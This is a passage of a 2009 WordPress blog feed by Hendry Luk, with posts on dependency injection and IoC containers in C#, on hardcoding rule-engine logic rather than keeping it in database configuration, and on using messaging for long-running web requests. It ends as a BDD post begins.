		<media:content url="http://hendryluk.files.wordpress.com/2009/08/image_thumb.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/08/image_thumb1.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/08/image_thumb2.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/08/image_thumb3.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/08/image_thumb1.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/08/image_thumb4.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/08/image_thumb5.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>
	</item>
		<item>
		<title>Software Development Fundamentals, Part I</title>
		<link>http://hendryluk.wordpress.com/2009/08/15/software-development-fundamentals-part-i/</link>
		<comments>http://hendryluk.wordpress.com/2009/08/15/software-development-fundamentals-part-i/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 04:46:11 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Development Practice]]></category>
		<category><![CDATA[Inversion of Control]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=564</guid>
		<description><![CDATA[Preamble I&#8217;m going to start a post (or perhaps a series thereof) to discuss some basic practices and fundamental concepts in building software applications. It&#8217;s mainly intended for those just getting into software development and seeking some pragmatic introductory guidelines how to start writing good code and how to structure our application. It might also [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=564&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h1>Preamble</h1>
<p>I&#8217;m going to start a post (or perhaps a series thereof) to discuss some basic practices and fundamental concepts in building software applications. It&#8217;s mainly intended for those just getting into software development and seeking some pragmatic introductory guidelines how to start writing good code and how to structure our application. It might also interest seasoned developers as we discuss some great OOS tools to support these good development practices, particularly those unfamiliar with .Net neighbourhood. I&#8217;d love to hear feedbacks, opinions, or suggestions about other practices you always put in your list of default development guidelines.</p>
<p>There are obviously other methodologies and architectural styles in building applications, but the ones covered here are actually some of the most essential practices that have been taken as the &quot;default architecture&quot; for typical LoB applications by about every developers ruling the earth today. This is the default architectural project template that I use liberally to start every LoB application development. These guidelines aren&#8217;t written in stone, but you will need a very strong reason to break the rules. </p>
<p>I’ll discuss several common architectural patterns, and I start with the most essential one. <em>Dependency Injection</em> is an absolutely essential pattern here, because without it, it’s physically impossible to achieve a proper layered architecture. More about Onion Architecture further down this post.</p>
<h1>Dependency Injection</h1>
<p>Application codes that are composed of hugely entangled components are extremely hard to maintain. So this is our first rule: <strong>C#/Java <em>new</em> keyword is a bitch</strong> You probably have heard plenty of times that <em>new</em> is evil and perhaps wondering what&#8217;s our problem with the seemingly humble innocent word.</p>
<p>To explain it, let&#8217;s start writing some code. Suppose we&#8217;re writing an over-simplified service to send forgotten PIN to customer&#8217;s email.</p>
<p><pre class="brush: csharp;">
public class UserAuthenticationService
{ 
    public void SendForgottenPassword(string username) 
    { 
        User user = DbUserRepository.GetUser(username); 
        if(user != null) 
            SmtpService.SendEmail(user.EmailAddress, &quot;PIN Reminder&quot;, 
                String.Format(&quot;Hello, your PIN is {0}&quot;, user.PIN); 
    } 
} 
</pre></p>
<p>This class has direct dependencies to UserRepository and EmailService. This kind of dependency lines between 1 component to another is often referred to as spaghetti code. There are 3 problems with this code:</p>
<ol>
<li>This code cannot be worked on in isolation. In order to execute and understand this component you will need to bring together a fully configured SMTP server and updated database storing User account. If all components in your applications are tied together, it&#8217;s quickly going to cause you a serious problem. You constantly need to work with your application in a whole, because all components are entangled together. To change one component, you need to change the others. Developers brains aren&#8217;t scalable. As the application grows, you can&#8217;t just take the whole components of your systems into your head. You need to be able to work on a small component of the system without the presence of other components. You need to decouple every part of your system to a tiny workable unit. </li>
<li>Since this class needs other components to function properly, it means that you cannot unit-test this class. Unit-test requires that your class can be readily executed and interrogated as a single unit. Decoupling and dependency injection is the most important key to unit-test. More detail about unit-test in next post. </li>
<li>This code violates the natural structure of application layering. SendForgottenPassword is a business concern, and it needs to be at the core (bottom) layer of the application. DbUserRepository and SMTPService, in the other hand, are infrastructure concern. Infrastructure layer lives in outmost skin of applications. However, what we have here is a wrong direction of dependency. More about application layering and Onion-Architecture later in this post. </li>
</ol>
<p>DbUserRepository and SmtpService are implemented as static classes. Here is our second rule: <strong>static class is an anti-pattern</strong>. Not always, but it&#8217;s a good rule of thumb.</p>
<p>Let&#8217;s refactor that a bit using <em>&quot;Code against interface, not implementation&quot;</em> principle.</p>
<p><pre class="brush: csharp;"> 
public class UserAuthenticationService 
{ 
    IUserRepository userRepository = new DbUserRepository(); 
    ICommunicationService communicationService = new SmtpService(); 
    public void SendForgottenPassword(string username) 
    { 
        User user = userRepository.GetUser(username); 
        if(user != null) 
            communicationService.Send(user.EmailAddress, String.Format(&quot;Your PIN is {0}&quot;, user.PIN); 
    } 
} 
</pre></p>
<p>This is better. Now our method is decoupled from any concrete dependency. Instead, we set a contract. The interfaces (IUserRepository, ICommunicationService) are the contract. They merely define what operation you need to perform. We declare that we need to send an email to somebody. At the other end, some class will need to satisfy the contract with an implementation. In this case, SmtpService provides that implementation. Thanks to contract-based programming with interface, now there is no coupling between our code and SmtpService.</p>
<p>There is one problem though. Yes, it still requires direct dependencies to satisfy the <em>new</em> keyword. This is where <em>Inversion-of-Control</em> comes into play. Generally speaking, there are 2 types of Inversion-of-Control (IoC): <em>Service-Locator</em> and <em>Dependency-Injection</em>. Most IoC containers support both patterns.</p>
<p>Let&#8217;s now refactor this code to use Service-Locator pattern.</p>
<p><pre class="brush: csharp;"> 
public class UserAuthenticationService 
{ 
    IUserRepository userRepository = ServiceLocator.GetInstance(&quot;UserRepository&quot;); 
    ICommunicationService communicationService = ServiceLocator.GetInstance(&quot;CommunicationService&quot;); 
    public void SendForgottenPassword(string username) 
    { 
        User user = userRepository.GetUser(username); 
        if(user != null) 
            communicationService.SendEmail(user.EmailAddress, String.Format(&quot;Your PIN is {0}&quot;, user.PIN); 
    } 
}
</pre></p>
<p>A little bit better. ServiceLocator will provide you the instance of DbUserRepository and SmtpService based on some kind of IoC configuration, e.g. XML. Now this class is totally clean from any dependency. This class has low coupling. However, this is still not good enough. </p>
<ol>
<li>This class actually has tight <em>runtime</em> coupling. In configuration, you tie &quot;UserRepository&quot; alias with DbUserRepository class. You can&#8217;t easily create an instance of UserAuthenticationService in absence of concrete database implementation, or create one that uses different communication method (e.g. using SMS instead of Email). </li>
<li>This code is hard to use, mostly because it still has 1 dependency: the ServiceLocator class itself. Now you can only use this class within a running full-blown IoC container. You can&#8217;t easily poke around this class in isolation. In order to use this class, you will need to have a well configured service-locator. </li>
</ol>
<p>Let&#8217;s refactor this further into dependency injection.</p>
<p><pre class="brush: csharp;">
public class UserAuthenticationService 
{ 
    IUserRepository userRepository; 
    ICommunicationService communicationService; 
    public UserAuthenticationService(IUserRepository userRepository, ICommunicationService communicationService) 
    { 
        this.userRepository = userRepository; 
        this.communicationService = communicationService; 
    } 
    public void SendForgottenPassword(string username) 
    { 
        User user = userRepository.GetUser(username); 
        if(user != null) 
            communicationService.SendEmail(user.EmailAddress, String.Format(&quot;Your PIN is {0}&quot;, user.PIN); 
    } 
} 
</pre></p>
<p>All the dependencies are now injected from the constructor, hence constructor-injection.</p>
<p>This is much better. This class is now free of any dependency. It&#8217;s not concerned with database implementation, email infrastructure, or service-locator framework. This is a class that requires no configuration or specific setup, no container, and no infrastructure to use. It&#8217;s just a plain class. This characteristic is commonly referred to as POCO (Plain Old CLR Object), or POJO (Plain Old Java Object). So this is our third rule: <strong>POCO/POJO classes are good</strong>. Always strive for plain domain classes that are completely clean from infrastructure concern.</p>
<p>In Onion Architecture discussed later, EmailService and DbUserRepository are usually located in separate dll, the Infrastructure dll, right at the outmost skin of application layer. So now AuthenticationService does not have a reference to that Infrastructure dll anymore. It only defines interface contract. At runtime, the infrastructure layer will wire in all dependencies to the service.<br />
<pre class="brush: csharp;"> authenticationService = new AuthenticationService(dbUserRepositiory, emailService); </pre>
</p>
<p>Now you can easily substitute the communication method to sms-service, or you can also easily swap the user-repository with in-memory data cache or a fetch to LDAP server. AuthenticationService knows nothing about those implementation detail. It assumes nothing about application infrastructure. Consequently, you can obviously swap those dependencies with fake objects which makes unit-testing possible.</p>
<h2>Managing Side Effect</h2>
<p>With injected dependencies, we&#8217;re now very explicit about <em>all</em> dependencies that AuthenticationService requires. It&#8217;s now clear to client code that methods in AuthenticationService will have side-effects to UserRepository and EmailService, and them only. Client code can accurately guess what impact this code can cause to the system. It is very important that a class should ONLY make side-effect to objects explicitly provided to it. AuthenticationService can never access product-catalogue, or UI screen, or displaying popup dialog, because we don’t provide them any access to it. </p>
<p>That’s why our previous rule was <em>static-class is an anti pattern</em>, because it’s an open invitation for every single objects in whole application to directly access it and silently cause side-effect without even following the right flow of layering. E.g. if you declare your EmailService as static object, then it’s hard to tell which code is responsible for sending welcome emails, and you would never guess that apparently it’s your database-connection object impolitely doing more than it’s trusted with, by accessing the EmailService statically. More about managing side-effect in <a href="http://en.wikipedia.org/wiki/Command-query_separation">Command Query Separation</a> principle</p>
<h2>Problem</h2>
<p>Unfortunately, there is one problem with this approach. Seems like there&#8217;s always problems with anything I propose, so just get used to it. So now, every time we need to use UserAuthenticationService, we need to pass all of its dependencies to the constructor. It&#8217;s tedious and violates the notion of abstraction. And if the dependencies have further dependencies, we will end up with long chain of dependencies. E.g.:</p>
<p><pre class="brush: csharp;">
service = new UserAuthenticationService( 
    new DbUserRepository(new DbConnection()), 
    new SmtpService(new SmtpClient(new TcpConnection())));
</pre></p>
<p>It&#8217;s smelly. You only care about sending forgotten password, and you don&#8217;t want to care about the plumbing to make it happen.</p>
<p>This is how IoC container comes very handy. I usually use <a href="http://www.castleproject.org/container/index.html">Castle Windsor</a> for no particular reason except that I&#8217;ve used it for long enough, but thre are many equally popular options like <a href="http://ninject.org/">Ninject</a>, <a href="http://code.google.com/p/autofac/">Autofac</a>, <a href="http://structuremap.sourceforge.net/Default.htm">StructureMaps</a>, <a href="http://www.springframework.net/">Spring.Net</a>, and <a href="http://www.codeplex.com/unity">Unity</a>.    <br />IoC container let you just to write decoupled classes, and at runtime the container will automatically wire all those individual classes for you at runtime. </p>
<h2>Zero Friction Development</h2>
<p>A typical misguided complaint about using IoC container is that it&#8217;s holding up the pace of development, particularly due to its superfluous configuration. Not true. That was in old days when XML still ruled the planet.</p>
<p>The term Rapid Application Development (RAD) has gained a bad reputation thanks to dragy-dropy Visual-Studio designer in early inception of .Net. The term <em>Zero Friction Development</em> is now the new jargon for RAD. Basically when you start an application project, you don&#8217;t want to spend a lot of time setting up configurations, writing bunch of classes, initializing several APIs, bringing up application-server, write zillions of boiler-code. You just want to start writing the code right away and get go with a running application immediately. One thing I love about .Net culture over Java (no flame war guys) is its resemblance to RoR culture in term of appreciation to Zero Friction Development. We steal RoR wisdom of <em>Convention over Configuration</em>.</p>
<p>Everyone hates XML. It sucks. Luckily, you need none to setup your IoC container. In Windsor, I only need these lines to specify convention to configure the whole dependencies in the application project: </p>
<p><pre class="brush: csharp;">
container.Register( 
    AllTypes.Pick() 
        .FromAssembly(typeof (Infrastructure.Data.Repository&lt;&gt;).Assembly) 
        .WithService.Select(InNamespace(&quot;Sheep.Services&quot;)));

</pre></p>
<p>This code registers <em>all </em>implementation classes in Data assembly, and by convention uses any interface within Sheep.Service namespace as the service-interface. In our case, IUserRepository is the service-contract implemented by DbUserRepository. There are many other ways you can configure your convention, but I would not delve too deep here (you can always check Windsor website for more detail). The point is, this code allows rapid development.</p>
<p>We just simply start writing decoupled classes right away, and declare its required dependencies in constructor arguments, and that’s all. Your class knows nothing about the implementations at all. Windsor will do the rest of the work for you to locate all the implementations from various dll’s at runtime to fill all your dependencies. We end up with rapid and loosely coupled development model.</p>
<h2>To be continued in part 2..</h2>
<p>It seems like this writing about IoC went on longer than I expected, and I haven’t even touched how anything about our architecture and code structure, which is the main reason why this IoC is required. But I <em>promised</em> you that I was going to discuss Onion Architecture here to show IoC in action? Well, this is the forth rule for you: don’t trust what you read in a blog post. People lie in the Internet. It turns out I won’t do it in this post. It’s long enough to be it’s own post, so I&#8217;ll do it in the next post. Meanwhile I’ll appreciate any comment.</p>
<br /> Tagged: Development Practice, Inversion of Control <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/564/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/564/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/564/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/564/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/564/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/564/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/564/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/564/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/564/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/564/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/564/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/564/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/564/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/564/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=564&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2009/08/15/software-development-fundamentals-part-i/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>Just Hard Code Everything</title>
		<link>http://hendryluk.wordpress.com/2009/08/13/just-hard-code-everything/</link>
		<comments>http://hendryluk.wordpress.com/2009/08/13/just-hard-code-everything/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 05:38:18 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Development Practice]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=509</guid>
		<description><![CDATA[We often forget the point why we extracted certain kind of application logic out into some sort of configuration XML or database. Recently I worked on a system that has a dynamic screen flow for a sales process. This is very common functionality in CRM applications. Basically in the sales process, the user is presented [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=509&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>We often forget the point why we extracted certain kind of application logic out into some sort of configuration XML or database.</p>
<p>Recently I worked on a system that has a dynamic screen flow for a sales process. This is very common functionality in CRM applications. Basically in the sales process, the user is presented with a series of questions (and sets of possible answers in dropdown/radio-button or free-text), and the flow of the questions varies depending on how the user answers the previous questions based on certain business rule. These end-to-end flows and rules are called a <em>script</em>.</p>
<p>So to accomodate this, the developers built a mechanism to store these rules and flows in a set of database tables. Everyone would get terrified if I suggest &#8220;<a href="http://ayende.com/Blog/archive/2008/08/21/Enabling-change-by-hard-coding-everything.aspx">just hardcode all of them!</a>.&#8221; Typical reaction is that these business-logics are so volatile, subject to change every once in a while. We need XML configuration, or mastered in database, or build DSL. <em>Hardcode </em>just sounds insanely terrifying. They wanted some mechanism that allows easy changes.</p>
<p>So we&#8217;ve had this implemented as a set of database tables such like these (among others):</p>
<ul>
<li>SCRIPTS, storing several different scripts (representing an end-to-end flows for specific use-case)</li>
<li>STEPS, represents each step (question/calculation) within a flow</li>
<li>SCRIPT_STEPS, assign a step into part of a script. Few of its columns:
<ul>
<li>SCRIPT_ID</li>
<li>STEP_ID</li>
</ul>
</li>
<li>STEP_NAVIGATIONS, governs flow between steps of a script. Few of its columns are self-explanatory:</li>
<ul>
<li>SCRIPT_ID</li>
<li>FROM_STEP_ID</li>
<li>TO_STEP_ID</li>
<li>CONDITION</li>
</ul>
<li>WIDGETS, specifies set of widgets need to be presented for each step. Not every step has UI presentation.</li>
<ul>
<li>WIDGET_ID</li>
<li>WIDGET_TYPE (textbox, textlabel, dropdown, button, etc)</li>
<li>LABEL</li>
<li>VALUES</li>
<li>VALIDATION</li>
</ul>
<li>STEP_WIDGETS, finally this is to link several widgets to each step</li>
<ul>
<li>STEP_ID</li>
<li>WIDGET_ID</li>
</ul>
</ul>
<p>We put this configuration in database to allow easy change and restructuring. But look around, does that make it somewhat easy?</p>
<p>Reconfiguring the scripts is achieved by writing a series of insert and update SQL statements, changing these obscure columns and those flags in trial-error fashion. Each step/widget/property/navigation are represented in numeric IDs and flags. Even the simplest change to the business flow (e.g. adding a new step) takes careful examination of various tables, changing/adding data in numerous tables, some obscure data manipulation SQL over several tables full of magic numbers and flags to get all stars alligned perfectly. (I always need at least a pencil, a piece of paper, and strong determination just to make the slightest change to the navigation flow).<br />
It feels like programming on punch-cards. And no unit-test is possible to make sure we&#8217;re doing it right.</p>
<p>Everyone seems to forget, &#8220;why did we build all these again&#8221;?<br />
We often get trapped by ellusive purpose of building a configurable system with the premise of allowing runtime reconfiguration of the business logic. But in real practice, any change to business logic is a serious manner, requiring a proper release cycle. Runtime change to business flow while the users are still actively working will jeopardize system integrity. And most change-requests to the business logic need code changes anyway. And most importantly, all these configuration are CACHED at runtime! So we never really have any capability making immediate change to the script configuration in the database in the first place.</p>
<p>What&#8217;s the purpose of having a rule engine?<br />
The main purpose of a configurable rule engine is <em>NOT</em> so that we can change it during runtime. It&#8217;s more to provide developers a Domain Specific Language to express the rule and business flow, translating business flow-chart into a working application, and probably allowing the domain-expert to read or verify the logic.<br />
This is a good reason to take the application-logic out from the code, and put that into some sort of &#8220;readable&#8221; configuration. Some kind of xml structure, or DSL file, or database-backed authoring interface.</p>
<p>But this DB-based configuration we&#8217;re having right now, it doesn&#8217;t bring that value. We extract the logic into configurable database tables only to make it harder to express, almost impossible to read, and terribly tedious to change. It left us nothing.<br />
Now, if you&#8217;re not providing DSL or authoring interface, you better off hardcode it. C# code is still way more readable and easier to write and change than bunch of numeric database collumns and tables.</p>
<p>Sometimes we need to step back a little bit, forget about neat configuration and <a href="http://ayende.com/Blog/archive/2008/08/21/Enabling-change-by-hard-coding-everything.aspx">just hardcode everything</a>!</p>
<p><pre class="brush: csharp;">
// ---- Step Definition ----
var askIfLinkedToHandset = script.CreateStep&lt;bool&gt;()
	.Ask(&quot;Do you want to link this product to a handset&quot;)
	.RadioButton(&quot;Yes&quot;, true)
	.RadioButton(&quot;No&quot;, false);

var askHandsetSerial = script.CreateStep&lt;string&gt;()
	.Ask(&quot;Please enter handset IMEI&quot;)
	.Textbox();
	.Validate(x=&gt;x.Answer.Length == 20, &quot;IMEI needs to be 20 digits&quot;);

var calculateFinance = script.CreateStep()
	.Execute(data=&gt; data.FinanceAmount = CalculateHandsetFinance(askHandsetSerial.Answer));

var askOutrightAmount = script.CreateStep&lt;Decimal&gt;()
	.Ask(&quot;Finance amount for the handset is {0}. How much do you wish to pay outright?&quot;
		, financeAmount)
	.Textbox();

var askBonusChoice = scripts.CreateStep&lt;BonusOption&gt;()
	.Ask(&quot;Please choose your preferred bonus option&quot;)
	.Dropdown(()=&gt;bonusRepository.GetBonusOptionsForProduct(data.Product))
	.WithText(bonus=&gt;bonus.Name);
</pre></p>
<p><pre class="brush: csharp;">
// ---- Navigation flow ----
Navigate.From(askIfLinkedToHandset)
	.When(x=&gt;x.Answer == true).GoTo(askHandsetSerial)
	.Else().GoTo(askBonusChoice);

Navigate.From(askHandsetSerial)
	.GoTo(calculateFinance);

Navigate.From(calculateFinance)
	.When(x=&gt; x.Data.FinanceAmount == 0).GoTo(askBonusChoice))
	.When(x=&gt; x.Data.FinanceAmount &lt; x.Data.MinimumOutright).GoTo(fullOutrightPayment))
	.Else().GoTo(askOutrightAmount));
	
Navigate.From(askOutrightAmount)()
	.GoTo(askBonusChoice);
</pre></p>
<p>This is much easier to read! More importantly, it&#8217;s easier to change! It takes little effort to modify existing logic/calculation, or to radically swap over some navigation flows, or add bunch of new steps. We are dealing with concrete objects in OO fashion. Navigation flow is defined very clearly. It&#8217;s no longer a set of obscure numbers and flags scattered all across many normalized database tables. Shall domain-experts choose, they would prefer reading this source-code than the previous ultra-complicated DB config.</p>
<p><em>&#8220;RDBMS-based configurations are better in accomodating future change in business logic?&#8221;</em> It does remove compilation step, but what&#8217;s so difficult about compiling this single .cs file? Is that really harder than writing database-migration SQL script?</p>
<p>Hardcoded logic like this is also much better in version-control. We can track the changes of the logics in CVS/SVN history. Alas what I have right now with our sophisticated DB configuration is just a series of long SQL update statements that keeps being added overtime as the business-flow evolves. Almost impossible to make out what business-rule has changed in each SQL update statement.</p>
<p>Finally, this piece of code is really easy to test. I can execute that navigation tree and easily poke it with various combination of data/answers and observe the flow of the steps.</p>
<br /> Tagged: Development Practice <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/509/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/509/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=509&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2009/08/13/just-hard-code-everything/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>Dealing with Long Running Processes</title>
		<link>http://hendryluk.wordpress.com/2009/08/01/dealing-with-long-running-processes/</link>
		<comments>http://hendryluk.wordpress.com/2009/08/01/dealing-with-long-running-processes/#comments</comments>
		<pubDate>Sat, 01 Aug 2009 13:24:46 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Messaging]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=502</guid>
		<description><![CDATA[This question came up recently in .Net list. In many typical web applications, some requests may take some time to process. In this case, the user can ask the application to generate an Excel report which takes 5-10 minutes to process. Dealing this with ordinary synchronous model gives a bad user experience. The user will [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=502&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This question came up recently in .Net list. In many typical web applications, some requests may take some time to process. In this case, the user can ask the application to generate an Excel report which takes 5-10 minutes to process. Dealing this with ordinary synchronous model gives a bad user experience. The user will be left unserved with a blank screen on his browser while the request is being processed. This poor responsiveness can be improved by processing this request asynchronously. But is it the best solution?</p>
<p>Asynchonous processing might aleviate the problem, but it has a fundamental flaw.<br />
When we open a new thread to perform the request asynchronously, this thread is occupied for as long as the request is being processed. So if we configure 25 maximum threads in the pool, now we can only serve 24 incoming requests. And when we eventually have 25 users requesting for Excel reports, we&#8217;re back with an unresponsive system. The application ceases to serve <em>any user</em> at all. Yes, worse than our synchronous counterpart, it&#8217;s unresponsive not only to the very few who actually request for Excel reports, but also to all ordinary users who only access simple pages.</p>
<p>A better solution? Depending on the size of the operation, if it takes more than few seconds, the best solution might be messaging. Typically, I would use messaging solution like <a href="http://www.nservicebus.com/">NServiceBus</a> or <a href="http://code.google.com/p/masstransit/">MassTransit</a>.</p>
<p>Let&#8217;s take this into the way restaurants work. The staffs (threads) who take requests from the guests simply stick a piece of paper to the kitchen, ordering for a delicious &#8220;Excel-report&#8221; dinner, and then leave.<br />
Behind the curtain, it&#8217;s then up to the chefs to push their arses around the kitchen and perform all necessary gymnastics to deliver the meal. The other staffs do not care. They just leave the paper then return to the front to serve the next customer. Meanwhile, the chefs can cook at their own pace. Even when the chefs are performing slow, they do not affect the performance of the wait-staffs who serves the customer.</p>
<p>In contrast, asynchronous processing (without messaging) is like having 25 generic staffs who serve as both roles: wait-staffs as well as chefs. Upon receving a meal order, 1 staff summons another staff to go to the kitcen and cook in the background, while the first staff stays in the front keeping the customers waited. However, after 25 requests, you&#8217;re running out of staffs. Everyone is busy cooking in the kitchen, and no one serves the customers, including those who are only requesting for menu and bills.</p>
<br /> Tagged: Messaging <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/502/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=502&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2009/08/01/dealing-with-long-running-processes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>BDD: TDD Done Right</title>
		<link>http://hendryluk.wordpress.com/2009/07/17/bdd-tdd-done-right/</link>
		<comments>http://hendryluk.wordpress.com/2009/07/17/bdd-tdd-done-right/#comments</comments>
		<pubDate>Fri, 17 Jul 2009 08:01:13 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Behavior Driven Development]]></category>
		<category><![CDATA[Test Driven Development]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=474</guid>
		<description><![CDATA[A recent discussion I had about TDD lately has drawn some interest about BDD, and I thought what I was going to respond would deserve its own post in this blog. Anyone in TDD circle would agree that the very first thing one needs to know about Test-Driven-Development is: it has nothing to do with [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=474&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>A recent discussion I had about TDD lately has drawn some interest about BDD, and I thought what I was going to respond would deserve its own post in this blog.</p>
